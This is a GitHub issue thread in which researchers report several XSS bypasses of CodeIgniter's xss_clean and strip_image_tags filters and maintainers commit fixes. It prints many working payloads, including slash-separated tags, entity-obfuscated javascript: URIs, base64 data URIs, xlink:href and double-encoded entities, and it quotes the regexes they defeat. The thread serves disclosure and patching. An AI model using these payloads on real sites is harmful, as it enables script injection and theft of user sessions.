Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CodeIgniter Bypass #2667

Closed
soaj1664 opened this issue Sep 30, 2013 · 87 comments
Closed

CodeIgniter Bypass #2667

soaj1664 opened this issue Sep 30, 2013 · 87 comments

Comments

@soaj1664
Copy link

Hi Guys!

I had a chance to test CodeIgniter against XSS attack. I have found few things that might be interested for you guys:

I have created a test-bed here: http://xssplayground.net23.net/clean10.html

The area is protected by CodeIgniter but for testing purpose OUTPUT reflects in Standard HTML, Script, Attribute and URL context. In the following manner, in my test-bed output reflects in different context.

Output reflects here (Standard HTML Context): <?php echo cleanCode($_POST['name']); ?> <br><br>

Output reflects in attribute context <div class='<?php echo cleanCode($_POST['name']);?>'>I am an attribute context</div> <br><br>

Output reflects in URL context <a href='<?php echo cleanCode($_POST['name']);?>'>I am URL context</a> <br><br>

Output reflects in script context <script> var a = '<?php echo cleanCode($_POST['name']);?>'; </script>

The following injection will BYPASS CodeIgniter in "attribute" and "URL" context:

'; onmouseover=confirm(location);//

OR

'; onmouseover=confirm(cookie);//

In CodeIgniter's black-list you guys are checking against "document.cookie" and "window.location". The same purpose can be achieved by using cookie and location word! In above cases, if I inject

'; onmouseover=alert(window.location);//

I got the following output which stops XSS:

Attribute context: <div class='\'; onmouseover=alert&#40;[removed]&#41;;//'>
URL context: <a href='\'; onmouseover=alert&#40;[removed]&#41;;//'>

Also in Chrome, the following injection bypassed URL context only:

j a vas cript:confirm(1);

If I simply inject javascript:alert(1) then CodeIgniter works perfectly and removed javascript but in the above manner, injection works.

Let me know, if I missed something :)

Regards

@soaj1664ashar

@soaj1664
Copy link
Author

Hi again,

Here is another CodeIgniter Bypass and this time it is in STANDARD HTML Context:

<div/style=content:url(data:image/svg+xml);visibility:visible onmouseover=confirm(1)>Bring-Mouse-Over-Me</div>

After CodeIgniter pass, the above vector becomes:

<div/ onmouseover=confirm(1)>Bring-Mouse-Over-Me</div>

and it works like charm.

Let me know in case you have any question. Thanks!

Regards,

@soaj1664ashar

@StorytellerCZ
Copy link
Contributor

What version of CodeIgniter is this? Is this the newest development version or CI 2.1.4?

@soaj1664
Copy link
Author

soaj1664 commented Oct 1, 2013

Hi again,

I have set-up the CodeIgniter from https://github.com/mpdesign/mp/blob/56fc838c44d1c91534dc2f4c4af08bc057216a82/mp/libs/security.php

I am not sure about this version but I have again checked the version of CodeIgniter available here:

https://raw.github.com/EllisLab/CodeIgniter/develop/system/core/Security.php

and it seems bypasses will work in this too. You can reproduce the bypasses as I have mentioned in my report. Thanks!

Regards,

@soaj1664ashar

@soaj1664
Copy link
Author

soaj1664 commented Oct 1, 2013

Hi,

By keeping in mind the regular expression that deals with stripping image tags in CodeIgniter: https://raw.github.com/EllisLab/CodeIgniter/develop/system/core/Security.php

/** * Strip Image Tags * * @param string $str * @return string */ public function strip_image_tags($str) { return preg_replace(array('#<img\s+.*?src\s*=\s*["\'](.+?)["\'].*?\>#', '#<img\s+.*?src\s*=\s*(.+?).*?\>#'), '\\1', $str); }

You are considering that after the word "img", there should be an space but one can do stuff like that and it is still valid XSS vector and browsers render the following vector

<img/src=%00 id=confirm(1) onerror=eval(id)

See Fiddle for vector: http://jsfiddle.net/ZFV4B/1/ + another variation of above vector that works: http://jsfiddle.net/ZFV4B/2/

CodeIgniter will convert the "(" and ")" signs into respective entities like eval&#40;id&#41; and in JavaScript context, they are perfectly valid. It means eval function will work and will execute the value of "id" attribute i..e, confirm(1). So at the end of day, the above XSS vector will bypass CodeIgniter's strip_image_tags function.

Regards,

@soaj1664ashar

@ragingdave
Copy link
Contributor

So for at least some of the errors not having a space after the tag causes it to bypass XSS cleaning.
Is that correct?
EDIT: more specifically, having a / after the tag allows there to be no space between the tag and attributes?

@soaj1664
Copy link
Author

soaj1664 commented Oct 3, 2013

@DaveMC08 Yes in case of image strip function and vector bypasses it.

In the following case, I am leveraging CodeIgniter's functionality (remove style attribute but leaves onmouseover intact) to bypass it.

<div/style=content:url(data:image/svg+xml);visibility:visible onmouseover=confirm(1)>Bring-Mouse-Over-Me</div>

Cheers

@soaj1664ashar

@ragingdave
Copy link
Contributor

This pull request fixes the idea that a space can be substitued however, I was unable to verify the inital post regarding:
'; onmouseover=alert(location);//
bypassing the filter. I am testing with the develop branch Security.php and using xss_clean function from the controller.

@soaj1664
Copy link
Author

soaj1664 commented Oct 3, 2013

@DaveMC08 : I can see that now you have added / along with space.

As far as your question about:

'; onmouseover=alert(location);//

is concerned, I try to explain. If I am using CodeIgniter for every context i.e., Standard HTML, URL, Attribute and Script context and attacker is able to inject the above line then the above injection will bypass attribute and URL context e.g., If you will input the above line in the following demo that has CodeIgniter Protection in all context:

http://xssplayground.net23.net/clean10.html

and if you will bring your mouse pointer over the attribute and URL context, you will see XSS alert box (Tested in Firefox).

I haven't read the documentation regarding the goal of CodeIgniter. Is it ONLY for HTML-context? If yes, then you can ignore the above bypass. Just to explain my point, in case of htmLawed, I found the following line in their documentation: http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/htmLawed_README.htm#s2.8

"htmLawed is meant for input that goes into the body of HTML documents."

If this is also the case with CodeIgniter then you may ignore but please mention somewhere that this is sort of limitation that CodeIgniter only works in STANDARD HTML CONTEXT.

I hope it helps.

Regards,

@soaj1664ashar

@ragingdave
Copy link
Contributor

We will probably want to bring in @narfbg to figure what the goal of the XSS filtering is.

@narfbg narfbg closed this as completed in 46e77e0 Oct 4, 2013
narfbg added a commit that referenced this issue Oct 4, 2013
@narfbg
Copy link
Contributor

narfbg commented Oct 4, 2013

I'm not the author of the XSS filter, but AFAIK it aims to filter everything.

@narfbg narfbg reopened this Oct 4, 2013
@soaj1664
Copy link
Author

soaj1664 commented Oct 4, 2013

@narfbg @DaveMC08 I have just found another bypass of CodeIgniter. In order to reproduce this bypass, make sure TURN-OFF XSS Auditor in Chrome (see this: http://peter.sh/experiments/chromium-command-line-switches/#disable-xss-auditor). The bypass is specific to Chrome browser:

In CodeIgniter code at one point you guys are checking for link so that you can remove malicious JS links:

if (preg_match('/<a/i', $str)) { $str = preg_replace_callback('#<a\s+([^>]*?)(?:>|$)#si', array($this, '_js_link_removal'), $str); }

The above RE expects there would be an SPACE after anchor tag but forward slash (/) is perfectly legit and links works.

e.g., <a/href= ... would bypass this RE in CodeIgniter. Now I show you the XSS vector:

<a/href [\0C]=ja&Tab;vasc&Tab;ript&colon;confirm(1)>XXX</a>

// [\0C] stands for FORM FEED and it works in chrome. see http://jsfiddle.net/23sqP/

In the above vector, I am using HTML5 entities so that I can bypass check for the word "javascript" and instead of "alert" I have used "confirm". Here is the fiddle of the above vector: http://jsfiddle.net/23sqP/

I have used \0C because in the following code in CodeIgniter:

protected function _js_link_removal($match) { //echo "in link removal"; return str_replace($match[1], preg_replace('#href=.*?(?:alert\(|alert&\#40;|javascript:|livescript:|mocha:|charset=|window\.|document\.|\.cookie|<script|<xss|data\s*:)#si', '', $this->_filter_attributes(str_replace(array('<', '>'), '', $match[1])) ), $match[0]); }

you guys are expecting = after "href" and in order to defeat this RE, I have used \0C after href and before = symbol. Closely look at the fiddle given above for XSS vector.

Regards,

@soaj1664ashar

@soaj1664
Copy link
Author

soaj1664 commented Oct 4, 2013

@DaveMC08 @narfbg Another bypass and this time it is based on "base64" and data URI: The following vector bypasses regular expressions in used:

<a/href=data&colon;text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==>ClickMe</a>

and this is a cross-browser vector. It works in Chrome (no need to turn-off XSS auditor) and Firefox also. XSS vector can also be found in the fiddle: http://jsfiddle.net/AdSN8/

Cheers,

@soaj1664ashar

@soaj1664
Copy link
Author

soaj1664 commented Oct 4, 2013

@DaveMC08 @narfbg Yet another bypass and this time it is specific to Firefox browser and the underlying reasons are:

-- xlink:href is not part of CodeIgniter's blacklist
-- The following code is looking for string "javascript:" and can be bypassed with the help of "javascript:"

protected function _js_link_removal($match) { //echo "in link removal"; return str_replace($match[1], preg_replace('#href=.*?(?:alert\(|alert&\#40;|javascript:|livescript:|mocha:|charset=|window\.|document\.|\.cookie|<script|<xss|data\s*:)#si', '', $this->_filter_attributes(str_replace(array('<', '>'), '', $match[1])) ), $match[0]); }

Here is the XSS vector that bypassed CodeIgniter's XSS protection:

<math><a/xlink:href=javascript&colon;confirm&lpar;1&rpar;>click

To see this in action, look at this fiddle: http://jsfiddle.net/zuD3U/1/

Cheers,

@soaj1664ashar

@narfbg
Copy link
Contributor

narfbg commented Oct 14, 2013

Okay ... since you found these and this started with another fix from you, could you try to deal with the newly found issues as well?

@soaj1664
Copy link
Author

@narfbg Your question is to me or .. ? I think there is a whole lot of other stuff that needs to be addressed. It would be great if you will let me know developer's email ID who is going to fix these issues and some others.

@narfbg
Copy link
Contributor

narfbg commented Oct 14, 2013

Oh, yes - that was for you. :)

With CI being open-source and available publicly for everybody to both use and improve, there's no "developer's email". The person who fixes it is the one that wants to and you seem to be motivated, hence why I asked if you could do it (+ I'm not an expert in XSS, so I couldn't do much on my own).

@soaj1664
Copy link
Author

@narfbg Ok! I will start fixing stuff! :) Just let me know your email ID?

@narfbg
Copy link
Contributor

narfbg commented Oct 14, 2013

@soaj1664 Cool. :)

As for my email - I don't like mentioning it in plain-text here ... for obvious reasons. You can find it in the commit log if you really need it, although I don't understand why.

@soaj1664
Copy link
Author

Hi again,

Would you please tell me about the guy who has written xss_clean function: https://github.com/EllisLab/CodeIgniter/blob/develop/system/core/Security.php#L321

Also Is there any one who is interested in working with me in fixing all the issues/bypasses? Some of them are part of this Issue and many of them still unreported. I do not want to make all bypasses public because it may hurts some sites ...

Cheers!

@ivantcholakov
Copy link
Contributor

As I can see, sanitizing methods in CI_Security class are based on regular expressions kind of scanning. Then this game of finding exploits could be endless. I know that adopting external libraries is a tough as decision, but maybe, in long term a different approach about security should be adopted. It is based on parsing the data as HTML source, and then filtering what is not acceptable - javascripts, some tags, no tags at all, etc. I use HTMLPurifier (http://htmlpurifier.org/) for this purpose. Here is an example:

if (!function_exists('nohtml')) {

    function nohtml($string) {

        static $purifier;

        if (!isset($purifier)) {

            $config = HTMLPurifier_Config::createDefault();

            $config->set('Cache.SerializerPath', HTMLPURIFIER_CACHE_SERIALIZER_PATH);
            $config->set('Core.Encoding', 'utf-8');
            $config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
            $config->set('HTML.TidyLevel', 'light');
            $config->set('Core.ConvertDocumentToFragment', false);
            $config->set('Core.RemoveProcessingInstructions', true);
            @ $config->set('HTML.Allowed', '');

            $purifier = @ new HTMLPurifier($config);
        }

        return trim(@ $purifier->purify($string), " \t\n\r\0\x0B");
    }

}

This filter keeps the text, but removes html/php/asp tags and javascripts. Parsing as HTML is an approach without (well, as far as I know) theoretical possibility somebody to outsmart it. Relying on regular expressions based filters gets to what I see - endless talks about exploits found.

The solution that I can see is an exception for security reasons for the philosophy "don't bundle external libraries".

@soaj1664
Copy link
Author

@ivantcholakov HTML Purifier is also subject to bypasses e.g., see http://repo.or.cz/w/htmlpurifier.git/blob/6f389f0f25b90d0b495308efcfa073981177f0fd:/NEWS

Recently I found a vector that can DoS any web application who is using HTML Purifier. As far as I can see it is not a good idea to give up in favor of other solution. Also HTML Purifier has a limitation that it does not deal with "SCRIPTING CONTEXT" plus PERFORMANCE, and complexity issues (I think).

xss_clean() function is not that bad ... In-fact it only needs a good audit and some fine-grained tuning.

@ivantcholakov
Copy link
Contributor

OK. But its approach is better, right?

@soaj1664
Copy link
Author

@ivantcholakov In general "Yes" because HTML Purifier is based on white-list while CodeIgniter works on black-list based approach!.

@narfbg
Copy link
Contributor

narfbg commented Jan 31, 2014

@soaj1664 No, there are some config_item() calls to fetch the character set, which is important in decoding entities.

@narfbg
Copy link
Contributor

narfbg commented Feb 10, 2014

As suggested by @dnkolegov (3): a30a717
Backslashes: 3b9990c

URL encoding still pending.

@narfbg
Copy link
Contributor

narfbg commented Feb 10, 2014

Solves n-time URL encoding: 29e1264

Anything left that you guys recall?

@soaj1664
Copy link
Author

@narfbg keyword vbs is also used for vbscript execution in IE:

e.g., <iframe/language=vbs onload=MsgBox+1> see http://jsfiddle.net/x3434/1/ [In IE]

Though this will not bypass but you asked for recall ... :)

@narfbg
Copy link
Contributor

narfbg commented Feb 10, 2014

Huh ... that's strange.
I guess we'll have to filter the language attribute as well. What other usages does that have?

@narfbg
Copy link
Contributor

narfbg commented Mar 11, 2014

@soaj1664 This is at least the third time already that you're asking for contact in private ... don't get me wrong, but I don't see a reason to do that. What is it that can't be discussed here?

@soaj1664
Copy link
Author

@narfbg I am not going to give your email to spammers :) Anyhow if you are not willing to ping me then OK ... Previously you had objection on giving your email address but this time I had given mine and I asked for pinging ... Take Care!

@narfbg
Copy link
Contributor

narfbg commented Mar 11, 2014

@soaj1664 It's not about who gives their e-mail address. I've already said this - anybody can get my e-mail from the commit logs (github doesn't show it, git log shows it).
You're just not telling me what there is to discuss that can't be done in public, and CodeIgniter development is public.

@soaj1664
Copy link
Author

@narfbg Make a public announcement that sites should upgrade to this version. I can see sites (publicly I can not tell you the names) are still using the old version. It would be good if you will make a public announcement ...

@narfbg
Copy link
Contributor

narfbg commented Mar 11, 2014

Such an announcement is made for all CodeIgniter releases. This version is not yet released.

@rafaybaloch
Copy link

Hello,

How are you doing?

The following payload successfully bypasses your filtering mechanisms:
http://jsfiddle.net/gVMLD/

As, Alex pointed out on twitter before that the filter is decoding certain entities. So, i tried to figure out more about the behaviour, and it seems like if we double encode a payload, it manages to bypass the filter, due to the fact that the filter is decoding the entities once, it is advised that the filter should not be encoding any html entities.

Thanks,

Rafay Baloch

http://rafayhackingarticles.net

narfbg added a commit that referenced this issue Mar 18, 2014
@narfbg
Copy link
Contributor

narfbg commented Mar 18, 2014

@rafaybaloch Thanks for reporting this, see the above referenced commit.

@rafaybaloch
Copy link

Thanks.

@avlidienbrunn
Copy link

Hi.

Here's another one:

Input: <a$href="data:text/html,%style=""3cscript>alert((1)</sstyle=""cript>" onerror=>hello
Output: <a href="data:text/html,%3cscript>alert &#40;1&#41;&lt;/script&gt;" >hello

narfbg added a commit that referenced this issue Mar 18, 2014
@narfbg
Copy link
Contributor

narfbg commented Mar 18, 2014

Fixed.

@avlidienbrunn
Copy link

Now do this one!

Input: <a bypass="style=">"" href="javascript&#00058alert(1)">hello
Output: <a bypass="" href="javascript&#00058alert&#40;1&#41;">hello

@narfbg
Copy link
Contributor

narfbg commented Mar 18, 2014

... can't you just post all bypasses that you're aware of?

@avlidienbrunn
Copy link

Sorry, didn't mean to come off as an asshole. I'm not aware of any other bypasses, I just tried to bypass it again after the patch and came up with that.

I think the biggest issue there is that html entities doesn't have to end with ";", and can be prepended with more than 2 0's. In the regex for the hexadecimal html entity, there's "0*" before the digits and I think the pattern for non-hexadecimal needs this too.

narfbg added a commit that referenced this issue Mar 18, 2014
Issue described in #2667 (comment)
+ a false positive
@narfbg
Copy link
Contributor

narfbg commented Mar 18, 2014

Okay, thanks - that was a good hint. :)

@soaj1664
Copy link
Author

@narfbg CodeIgniter's Version 2.2.0 has been released and in the change logs http://ellislab.com/codeigniter/user-guide/changelog.html no mention on Improved security in xss_clean(). Isn't it strange or overlooked? I think it should be part of an announcement.

@narfbg
Copy link
Contributor

narfbg commented Jun 27, 2014

It's not part of the changelog because it's not in the release. The develop branch is way ahead of the 2.x tree and we'd risk breaking the whole framework if we even tried to backport this.

@RonniSkansing
Copy link

As 2.x is open to XSS as described in this issue, I think it would be responsible to mention that is has known vuln/holes in the docs or even disencourage use, as users are blindly trusting it atm and should not, as it is / has not been patched.

@narfbg
Copy link
Contributor

narfbg commented Jan 22, 2015

@RonnieSkansing We've just released version 2.2.1 with these and some other security fixes.

I'm closing this issue now that it's addressed in both version trees and it got hard to follow anyway. Thank you all.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

10 participants